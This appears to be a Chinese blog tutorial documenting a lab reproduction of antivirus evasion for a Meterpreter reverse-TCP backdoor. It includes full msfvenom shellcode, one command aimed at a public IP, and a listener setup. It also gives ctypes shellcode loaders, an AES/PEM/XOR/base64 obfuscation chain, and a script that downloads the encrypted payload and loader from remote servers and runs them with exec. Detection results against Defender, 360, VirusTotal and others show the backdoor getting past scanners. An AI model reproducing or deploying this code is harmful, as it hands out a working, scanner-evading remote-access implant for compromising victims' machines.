通过课程逐步了解了下免杀技术,由于课程需要和自身的探索欲,想着整一下试试,本篇是参照网上分离免杀例子进行复现,使用混淆加密方式结合shellcode与shellcodeloader分离式免杀

环境准备

对象 操作系统 IP地址
攻击机 kali 192.168.125.29
被攻击机 windows10 192.168.125.151
服务器一 centos 192.168.125.10
服务器二 centos 192.168.125.20

使用msfvenom生成基于python的shellcode,-b参数是为了避免坏字符

1
2
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.125.29 lport=8888 -f py -b="\x00"
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=58.87.68.13 lport=9999 -f py -b="\x00"

最终生成的反向连接shellcode如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x6c\x71\x11\x47\x30"
buf += b"\x93\x87\xeb\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x90\x39\x92\xa3\xc0\x7b\x4b\xeb\x6c"
buf += b"\x71\x50\x16\x71\xc3\xd5\xa3\x5d\xa3\x40\x11\x55"
buf += b"\xdb\x0c\xb9\x0c\x39\x9a\x15\x28\xdb\x0c\xb9\x4c"
buf += b"\x39\x9a\x35\x60\xde\xb6\x22\x24\x7e\xa6\x0d\x7a"
buf += b"\xdb\xb6\x2b\xc0\x4d\x70\x3b\x32\xbf\xa7\xaa\xad"
buf += b"\xb8\x1c\x06\x31\x52\x65\x06\x3e\x39\x9a\x15\x10"
buf += b"\xd2\xd6\x60\x2e\x4d\x59\x46\xe0\xf5\x06\x93\x74"
buf += b"\x7a\x13\x48\xb5\xe1\x87\xeb\x6c\xfa\x91\xcf\x30"
buf += b"\x93\x87\xa3\xe9\xb1\x65\x20\x78\x92\x57\xbb\xe7"
buf += b"\x39\x09\x03\xbb\xd3\xa7\xa2\x6d\xa1\xf2\x11\x78"
buf += b"\x6c\x4e\xa6\x5d\xb8\x50\xcc\x04\x1b\xcf\xea\xba"
buf += b"\x39\x20\x87\x9c\xd2\x46\x22\x61\x30\x10\x86\x08"
buf += b"\x73\xf2\x1a\x20\x72\x5d\x63\x38\xd6\xbe\x3a\x19"
buf += b"\xa9\x49\x03\xbb\xd3\xa3\xa2\x6d\xa1\x77\x06\xbb"
buf += b"\x9f\xcf\xaf\xe7\x31\x0d\x0e\x31\x43\xc6\x60\x68"
buf += b"\xf9\x59\x46\xe0\xd2\xdf\xaa\x34\x2f\x48\x1d\x71"
buf += b"\xcb\xc6\xb2\x2d\x2b\x59\xc4\xdc\xb3\xc6\xb9\x93"
buf += b"\x91\x49\x06\x69\xc9\xcf\x60\x7e\x98\x5a\xb8\xcf"
buf += b"\x6c\xda\xa2\xd2\x06\x62\x75\x6f\xa0\xb5\xeb\x6c"
buf += b"\x30\x47\x0e\xb9\x75\xcf\x6a\x80\xd1\x10\x47\x30"
buf += b"\xda\x0e\x0e\x25\xcd\x13\x47\x12\x2b\x47\x43\x11"
buf += b"\x6c\x50\x13\x79\x1a\x63\xa7\xe5\x80\x50\xfd\x7c"
buf += b"\xe4\xa1\xec\x93\xa4\x5d\xce\xda\xfb\x86\xea\x6c"
buf += b"\x71\x48\x06\x8a\xba\x07\x80\x6c\x8e\xc4\x2d\x3a"
buf += b"\xd2\xd9\xbb\x3c\x3c\x20\x8e\x7d\xa2\x47\xa3\x93"
buf += b"\xb1\x59\xce\xf2\xdb\x78\x2b\x24\xf8\xd0\x06\x8a"
buf += b"\x79\x88\x34\x8c\x8e\xc4\x0f\xb9\x54\xed\xfb\x2d"
buf += b"\x29\x5d\xce\xd2\xdb\x0e\x12\x2d\xcb\x88\xe2\x44"
buf += b"\xf2\x78\x3e\xe9\xb1\x65\x4d\x79\x6c\x49\x9e\x89"
buf += b"\x99\x82\x47\x30\x93\xcf\x68\x80\x61\x59\xce\xd2"
buf += b"\xde\xb6\x22\x06\x75\x50\x1f\x78\x1a\x7e\xaa\xd6"
buf += b"\x73\xc8\x8f\x6f\x6c\x52\x68\x94\x71\x6f\x12\x78"
buf += b"\x10\x43\xcb\x32\xf8\xe7\x2d\x70\xd2\xde\x83\x6c"
buf += b"\x61\x11\x47\x71\xcb\xcf\x62\x9e\x39\x20\x8e\x71"
buf += b"\x29\xdf\x4f\x3f\x94\xee\x92\x78\x1a\x44\xa2\xe5"
buf += b"\xb6\x5c\x76\xf9\xda\x0e\x1b\x24\xf8\xcb\x0f\xb9"
buf += b"\x6a\xc6\x51\x6e\xa8\xd9\x18\xcf\x46\x04\x13\x6c"
buf += b"\x0c\x39\x1f\x71\xc4\xde\x83\x6c\x31\x11\x47\x71"
buf += b"\xcb\xed\xeb\x36\x30\xab\x4c\x1f\x9c\xb7\x14\xb9"
buf += b"\x26\x48\x06\x8a\xe6\xe9\xa6\x0d\x8e\xc4\x0e\xcf"
buf += b"\x5d\x6e\xd7\x93\x8e\xee\x0f\x31\x50\xcf\xc2\xaa"
buf += b"\x39\x94\xb1\x45\x27\xc6\x14\x8b\x29\x7b\x47\x69"
buf += b"\xda\x40\x29\x9c\xc4\xb3\x11\xcf\x46\x87\xeb"

kali(192.168.125.29)开启监听

1
2
3
4
5
6
msfconsole
use exploit/multi/handler/
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
run

image-20240613161650234

技术支持

分离技术

将ShellCode和加载器代码放置于网络/服务器上,可以是二进制文件、文本文件、jpg等文件,通过请求读取的方式进行加载

实际测试用例中,主要思想是将经加密、编码后的shellcode放入服务器一中,将加密、编码后的shellcodeloader放入服务器二中,使用python中的request方法请求服务器的url,获取相应的shellcode和shellcodeloader,最终使用exec函数执行加载器

在如下代码中,a.text表示shellcode,b.content表示shellcodeloader,shellcodeloader中包含了解密所需方法、所需库,buf(shellcode)最终被带入b.content中进行解密、执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import base64
import binascii
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.IO import PEM


a = requests.get('http://192.168.125.10/a.txt')
buf = a.text

b = requests.get('http://192.168.125.20/b.txt')
exec(base64.b64decode(b.content)[::-1].decode())

异或加密

异或运算是最为简单的加密方式,异或运算根据二进制位进行按位运算,如果对应位相同,则为0,不同则为1

也可以如以下代码,把每个字符转成ASCII值与特定的值(678)进行异或

1
2
3
4
5
6
7
def shellcode_xor(shellcode):
xor_code = ''
for i in shellcode:
i = ord(i) ^ 678
xor_code += str(i) + '_'
# 去掉最后一个_
return xor_code[:-1]

字符串反转

在Python中,对一个字符串进行反转,使用str[::-1]即可

主要原理是使用了python切片的原理,可以使用该方法对代码中出现的shellcode或者shellcodeloader进行反转,进一步消除特征

1
2
3
4
5
6
7
8
9
10
11
12
str="abc"
print(str[::-1]) //会输出cba

# shellcodeloader反转
shell_loader = b'''
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
'''
shellloader = shell_loader[::-1]

字节转字符串

由于Python的ShellCode为b’’的字节类型(也可以视为二进制类型),而要进行加密或反转处理,只能针对字符串进行处理,所以还需要对将字节类型数据转换为字符串。可以利用Python内置的binascii模块进行处理

1
2
3
4
5
import binascii

buf = b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
str = binascii.b2a_hex(buf).decode()
print(str)

AES加密

AES属于对称加密算法,分组加密,算法明文长度固定为128位(单位是比特bit,1bit就是1位,128位等于16字节)

而密钥长度可以是128、192、256位

测试免杀技术使用AES的CBC模式,使得对同一明文两次加密结果是不同的

  • 使用前一个密文块对当前明文块进行加密,增加了随机性,相同的明文块在不同位置得到不同密文块。
  • 需要使用初始化向量(IV)来增加安全性。

原理就是首先将明文进行分组,128位为一组,然后使用密钥结合AES算法对分组后的明文进行加密

CBC模式图:

image-20240613170450982

python为AES代码实现提供了一种很方便的库,我们可以引用相关库实现AES加密

考虑到明文有时候不够128位,所以使用pad来进行填充,unpad就是去除填充

1
2
3
4
5
6
7
8
9
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def aes_encode(shellcode):
a = AES.new(key, AES.MODE_CBC, iv)
# 填充明文,加密的数据必须被128整除
b = a.encrypt(pad(shellcode, 32))
# byte转16
return binascii.b2a_hex(b)

PEM加密

PEM是一种编码格式,用于表示各种类型的加密数据。它最初是为了电子邮件安全而设计的,现在广泛用于存储和传输加密密钥、证书、和其他数据

python中提供了Crypto库,来方便实现PEM加密,我们可以对shellcode进行PEM加密,以此来确保shellcode特征进一步钝化

1
2
3
4
5
6
from Crypto.IO import PEM

def PEM_encode(shellcode):
# PEM.encode(需要加密的数据, 指定名称, 指定密钥)
shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode')
return shellcode

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
import binascii
from Crypto.IO import PEM

def PEM_encode(shellcode):
shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode')
return shellcode

def b_to_a(shellcode):
return binascii.b2a_hex(shellcode)

if __name__ == '__main__':
shellcode = b"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d"
print(PEM_encode(b_to_a(shellcode)))

输出,它使用DES-EDE3-CBC加密。这通常包括以下部分:

  • Proc-Type: 指示数据处理类型,这里表示数据是被加密状态
  • DEK-Info: 包含加密算法和初始化向量(IV),这里是三重DES算法,采用CBC模式
  • 最后一行表示经base64编码的加密数据,解密该数据需要使用前述的加密算法和初始化向量,并提供正确的密钥
1
2
3
4
5
6
-----BEGIN -----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,743C4F516B99C6F0

nQMNd5pisCY8lLAIihA3VJR4hQp2cJ9GSbSKhcaF++Y=
-----END -----

PEM解码后中,PEM_decode一般会返回一个元组,包含多个元素,如下所示:

  1. 解码后的二进制数据
  2. 可能的其他信息(例如解码过程中提取的参数)

所以我们需要取解码后元组的第一个参数,即为解码后的原始数据

Shellcode加载器

在网络安全领域,Shellcode加载器通常被黑客用于将Shellcode加载到目标计算机的内存中并执行它。这些加载器被安全专业人员、研究人员和安全分析师用于分析恶意软件样本中的Shellcode部分,以便了解恶意软件的行为、目的和潜在威胁。Python的灵活性和强大的库,使得Python逐渐被用于Shellcode的加载和免杀技术。

我们可以利用Python中的ctypes库实现shellcode的加载,ctypes是Python的外部函数库。它提供了与C语言兼容的数据类型,并允许调用DLL或共享库中的函数。可使用该模块以纯 Python形式对这些库进行封装。

Shellcode加载器一般分为3步:

申请内存->Shellcode写入内存(-> 修改内存属性)->执行该内存。

下面这段代码就是一个经典的Shellcode加载器,主要使用了以下的api:

① VirtualAlloc动态申请内存

② RtlMoveMemory将Shellcode拷贝入申请空间

③ CreateThread创建线程运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import ctypes

# shellcode
buf = b""
shellcode = bytearray(buf)

# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

shellcode

代码执行完成后,Shellcode加载器就会将buf中的二进制代码放入内存中执行,由于Shellcode本身较为复杂,很难由人来直接编写,所以我们可以借助工具例如cobaltstrike或者msfvenom来得到

下面是一个生成反向后门的msfvenom命令,其中-p指定使用哪个模块,lhost和lport设置反向连接的主机和端口,-f指定shellcode生成的格式,可以是raw(二进制文件)、jpg、py等,-b参数避免生成一些坏字符(\x00表示空格,也就是程序结束)

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.125.29 lport=8888 -f py -b="\x00"

也可以使用CS生成payload后门

kali开启CS服务端

image-20240614093033227

主机打开CS客户端连接服务端

image-20240614093120525

在攻击–>生成后门–>payload生成器中

image-20240614093141355

image-20240614093302735

测试阶段

不应用任何免杀技术

使用shellcode加载器分配内存执行shellcode,可以正常上线

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: UTF-8 -*-
import ctypes

# shellcode
buf = b""
shellcode = bytearray(buf)

# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

image-20240613161730129

无论是py文件还是打包成exe,就会马上被安全软件检测出来,根据提示被发现是后门木马

image-20240613162146020

shellcode加密混淆

结合上述提示,说明杀毒软件检测出来了shellcode,爆出了后门木马

那么可以将shellcode进行加密编码混淆,使得检出率降低

将shellcode进行byte转str–>base64编码–>AES加密,后依旧爆出后门木马

改进shellcode加密方式,byte转str–>base64编码–>AES加密–>PEM加密–>异或

编写shellcode加密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import base64
import binascii
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.IO import PEM


# msf生成的shellcode
buf = b""

# shellcode加载器
shell_loader = b'''
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
'''

# AES加密密钥(128位/192位/256位--->16byte/24byte/32byte)
key = b'4d65017f65d72aada5d1ab08d5c4bd18'
# AES初始化向量(IV)
iv = b'7d2d3e0bb1642d52'


"""
AES加密算法(CBC)
采用CBC模式,相同的明文块在不同位置得到不同密文块
将明文以128位分成组,然后利用使用初始化向量(IV)、加密算法和密钥进行加密
"""
def aes_encode(shellcode):
a = AES.new(key, AES.MODE_CBC, iv)
# 填充明文
b = a.encrypt(pad(shellcode, 32))
# byte转16
return binascii.b2a_hex(b)


"""
byte转16
"""
def b_to_a(shellcode):
return binascii.b2a_hex(shellcode)


"""
base64编码
"""
def b64_encode(shellcode):
return base64.b64encode(shellcode)


"""
PEM加密
"""
def PEM_encode(shellcode):
# PEM.encode(需要加密的数据, 指定名称, 指定密钥)
shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode')
return shellcode


"""
异或
把每个字符转成ASCII值与678进行异或
"""
def shellcode_xor(shellcode):
xor_code = ''
for i in shellcode:
i = ord(i) ^ 678
xor_code += str(i) + '_'
# 去掉最后一个_
return xor_code[:-1]


"""
shellcode加密算法
先把shellcode转为str,然后进行base64编码+AES+PEM+xor
"""
def shellcode_encode(shellcode):
return shellcode_xor(PEM_encode(aes_encode(b64_encode(b_to_a(shellcode)))))


"""
调用shellcode加密算法,对shellcode进行加密
"""
def main(shellcode):
return shellcode_encode(shellcode)


if __name__ == '__main__':
shellcode = main(buf)
print("shellcode为:")
print(shellcode)

上述shellcode加密脚本会生成一个加密后的shellcode,将shellcode加密后的值放入shellcodeloader中加载器即可

编写shellcodeloader,其中包含解密方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import base64
import binascii
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.IO import PEM


key = b'4d65017f65d72aada5d1ab08d5c4bd18'
iv = b'7d2d3e0bb1642d52'

def aes_decode(shellcode):
a = AES.new(key, AES.MODE_CBC, iv)
shellcode = binascii.a2b_hex(shellcode)
shellcode = unpad(a.decrypt(shellcode), 32)
return shellcode

def a_to_b(shellcode):
return binascii.a2b_hex(shellcode)

def b64decode(shellcode):
return base64.b64decode(shellcode)

def PEM_decode(shellcode):
shellcode = PEM.decode(shellcode, passphrase=b'shellcode')
return shellcode

def shellcode_xor_decode(shellcode):
shellcode = shellcode.split('_')
xor_code = ''
for i in shellcode:
i = int(i) ^ 678
xor_code += chr(i)
return xor_code

def main(shellcode):
return a_to_b(b64decode(aes_decode(PEM_decode(shellcode_xor_decode(shellcode))[0])))


# 存放加密后的shellcode
buf = ''
buf = main(buf)
shellcode = bytearray(buf)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

这次使用安全软件检测,发现检出问题相对于不加任何免杀技术报警发生了变化,这次是爆出关于python的shellloader

image-20240613201620740

shellcodeloader编码

根据上述爆出的错误,说明防病毒软件检出了shellcodeloader

那么下一步就是需要针对shellcodeloader做处理,降低检出率

思路:将shellcodeloader使用切片的方式,对shellcodeloader进行反转(python切片,从右到左),然后进行base64编码

在上述加密脚本中创建shellcodeloader变量

1
2
3
4
5
6
7
8
# shellcode加载器
shell_loader = b'''
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
'''

修正main方法,输出shellcode的同时输出编码后的shellcodeloader

1
2
def main(shellcode):
return (shellcode_encode(shellcode), base64.b64encode(shell_loader[::-1]))

在主方法中,调用main方法

1
shellcode, shell_loader = main(buf)

在上述解密脚本中增加shellcodeloader变量,存储编码后的shellcodeloader变量

1
shell_load = b'CikxLSAsZWxkbmFoKHRjZWpiT2VsZ25pU3JvRnRpYVcuMjNsZW5yZWsubGxkbml3LnNlcHl0YwopMCAsMCAsMCAsKWVnYXB4d3IoNDZ0bml1X2Muc2VweXRjICwwICwwKGRhZXJoVGV0YWVyQy4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWxkbmFoCikpZnViKG5lbCAsKWZ1YihyZWZmdWJfZ25pcnRzX2V0YWVyYy5zZXB5dGMgLCllZ2FweHdyKDQ2dG5pdV9jLnNlcHl0Yyh5cm9tZU1ldm9NbHRSLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMKKTA0eDAgLDAwMDN4MCAsKWZ1YihuZWwgLDAoY29sbEFsYXV0cmlWLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgPSBlZ2FweHdyCjQ2dG5pdV9jLnNlcHl0Yz1lcHl0c2VyLmNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjCg=='

使用exec方法运行shellcodeloader

1
exec(base64.b64decode(shell_load)[::-1].decode())

使用防病毒软件测试,此时,针对于执行shellcode的py文件防病毒软件已经不会报警了

py文件测试

火绒

image-20240613203111150

windows Defender

image-20240613205912101

360

image-20240613212151292

腾讯电脑管家

image-20240613212213677

VIRUSTOTAL:https://www.virustotal.com/gui/home/upload

image-20240613210054943

微步在线:https://s.threatbook.com/

image-20240613210045834

上线测试

运行py文件

image-20240613215659882

上线成功

image-20240613215722459

exe文件测试

将其打包成exe就会报警,即使采用了不加-w参数

火绒检测

image-20240613204415840

windows Defender

加上-w参数能够扫描到,不加上-w参数扫描不到

image-20240613205443924

360

加不加-w参数均会报警

image-20240613212352370

腾讯电脑管家

加不加-w参数均不会报警

image-20240613212321050

VIRUSTOTAL:https://www.virustotal.com/gui/home/upload

加-w参数检出19个

image-20240613204520455

不加-w参数检出13个

image-20240613205144509

微步在线:https://s.threatbook.com/

加-w参数检出5个

image-20240613204711772

不加-w参数检出3个

image-20240613205125202

上线测试

image-20240613215914043

shellcode和shellcodeloader分离

上述的py的检出率基本为0,但是打包成exe后检出率惨不忍睹,使用分离免杀技术针对此问题进行解决

思路:将加密后的shellcode和shellcodeloader上传到服务器上,通过request请求url方式获取shellcode和shellcodeloader内容,然后使用exec函数运行shellcodeloader

因为上述设计的解密脚本集解密、分配内存为一体,所以我们定义一个变量将解密脚本整个文件内容进行加密

创建encrypt.py文件,用于将加密后的shellcode写入a.txt中,同时输出编码后的shellcodeloader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import base64
import binascii
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.IO import PEM


# shellcode
buf = b""


# shellcode加载器
shell_loader = b'''
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
'''

# AES加密密钥(128位/192位/256位--->16byte/24byte/32byte)
key = b'4d65017f65d72aada5d1ab08d5c4bd18'
# AES初始化向量(IV)
iv = b'7d2d3e0bb1642d52'


"""
AES加密算法(CBC)
采用CBC模式,相同的明文块在不同位置得到不同密文块
将明文以128位分成组,然后利用使用初始化向量(IV)、加密算法和密钥进行加密
"""
def aes_encode(shellcode):
a = AES.new(key, AES.MODE_CBC, iv)
# 填充明文
b = a.encrypt(pad(shellcode, 32))
# byte转16
return binascii.b2a_hex(b)


"""
byte转16
"""
def b_to_a(shellcode):
return binascii.b2a_hex(shellcode)


"""
base64编码
"""
def b64_encode(shellcode):
return base64.b64encode(shellcode)


"""
PEM加密
"""
def PEM_encode(shellcode):
# PEM.encode(需要加密的数据, 指定名称, 指定密钥)
shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode')
return shellcode


"""
异或
把每个字符转成ASCII值与678进行异或
"""
def shellcode_xor(shellcode):
xor_code = ''
for i in shellcode:
i = ord(i) ^ 678
xor_code += str(i) + '_'
# 去掉最后一个_
return xor_code[:-1]


"""
shellcode加密算法
先把shellcode转为str,然后进行base64编码+AES+PEM+xor
"""
def shellcode_encode(shellcode):
return shellcode_xor(PEM_encode(aes_encode(b64_encode(b_to_a(shellcode)))))


"""
调用shellcode加密算法,对shellcode进行加密
对shellcodeloader进行反转(python切片,从右到左),然后进行base64编码
"""
def main(shellcode):
return (shellcode_encode(shellcode), base64.b64encode(shell_loader[::-1]))


if __name__ == '__main__':
shellcode, shell_loader = main(buf)
print("shell_loader为:")
print(shell_loader)
with open('a.txt', mode='w') as f1:
f1.write(shellcode)

然后创建loader.py脚本,将整个解密脚本内容充当变量,最后将编码后的数据写入b.txt中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import base64

test = b'''
import base64
import binascii
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.IO import PEM

# 加密后的shellcodeloader
shell_load = b'CikxLSAsZWxkbmFoKHRjZWpiT2VsZ25pU3JvRnRpYVcuMjNsZW5yZWsubGxkbml3LnNlcHl0YwopMCAsMCAsMCAsKWVnYXB4d3IoNDZ0bml1X2Muc2VweXRjICwwICwwKGRhZXJoVGV0YWVyQy4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWxkbmFoCikpZnViKG5lbCAsKWZ1YihyZWZmdWJfZ25pcnRzX2V0YWVyYy5zZXB5dGMgLCllZ2FweHdyKDQ2dG5pdV9jLnNlcHl0Yyh5cm9tZU1ldm9NbHRSLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMKKTA0eDAgLDAwMDN4MCAsKWZ1YihuZWwgLDAoY29sbEFsYXV0cmlWLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgPSBlZ2FweHdyCjQ2dG5pdV9jLnNlcHl0Yz1lcHl0c2VyLmNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjCg=='

key = b'4d65017f65d72aada5d1ab08d5c4bd18'
iv = b'7d2d3e0bb1642d52'

def aes_decode(shellcode):
a = AES.new(key, AES.MODE_CBC, iv)
shellcode = binascii.a2b_hex(shellcode)
shellcode = unpad(a.decrypt(shellcode), 32)
return shellcode

def a_to_b(shellcode):
return binascii.a2b_hex(shellcode)

def b64decode(shellcode):
return base64.b64decode(shellcode)

def PEM_decode(shellcode):
shellcode = PEM.decode(shellcode, passphrase=b'shellcode')
return shellcode

def shellcode_xor_decode(shellcode):
shellcode = shellcode.split('_')
xor_code = ''
for i in shellcode:
i = int(i) ^ 678
xor_code += chr(i)
return xor_code

def main(shellcode):
return a_to_b(b64decode(aes_decode(PEM_decode(shellcode_xor_decode(shellcode))[0])))

buf = main(buf)
exec(base64.b64decode(shell_load)[::-1])
'''
b = base64.b64encode(test[::-1]).decode('utf-8')
with open('b.txt', mode='w') as f1:
f1.write(b)

最后考虑的就是如何调用服务器上的资源了,定义play.py文件,用于生成请求,从a.txt和b.txt中获得shellcode和shellcodeloader,并使用exec方法运行,在b.txt解码后会用到文件头中定义的库,所以提前定义好引用的库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import base64
import binascii
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.IO import PEM


a = requests.get('http://192.168.125.10/a.txt')
buf = a.text
print(buf)
b = requests.get('http://192.168.125.20/b.txt')
exec(base64.b64decode(b.content)[::-1].decode())

打包成exe,实测不要在encry.py和loader.py同级打包,好像会将其它信息打包在exe中?导致检出率显著提高

1
2
pyinstaller -F -w play.py
pyinstaller -F play.py

防病毒软件测试

windows Defender

加不加-w参数均扫不到

image-20240613212651442

火绒

加不加-w参数均扫不到

image-20240613212749349

360

加-w参数被扫描到,不加-w参数不会被扫描到

image-20240613214905976

腾讯电脑管家

加不加-w参数均扫不到

image-20240613212920626

VIRUSTOTAL:https://www.virustotal.com/gui/home/upload

加上-w参数检出率16个

image-20240613215026944

不加-w参数检出率为12

image-20240613215228145

微步在线:https://s.threatbook.com/

加-w参数检出率4个,评估恶意

image-20240613215118582

不加-w参数检出率2,评估恶意

image-20240613215522323

上线测试

运行exe文件,均可上线kali(攻击机)

image-20240613214952975

参考资料

python加载shellcode免杀_python shellcode加载器-CSDN博客

Python分离免杀 | CN-SEC 中文网